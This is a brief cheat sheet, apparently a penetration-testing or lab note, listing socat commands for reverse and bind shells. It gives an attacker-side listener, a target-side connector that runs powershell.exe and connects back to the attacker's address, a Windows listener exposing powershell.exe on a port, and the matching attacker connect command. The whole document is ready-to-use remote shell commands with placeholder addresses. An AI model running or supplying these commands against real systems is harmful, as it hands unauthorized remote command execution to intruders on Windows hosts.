socat shells

Reverse shell:

# listener on attacking machine.
socat TCP-L:<port> -

# connector on target machine
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes

Bind Shell:

# windows listener
socat TCP-L:<PORT> EXEC:powershell.exe,pipes

# connect to listener using attacking machine.
socat TCP:<TARGET-IP>:<TARGET-PORT> -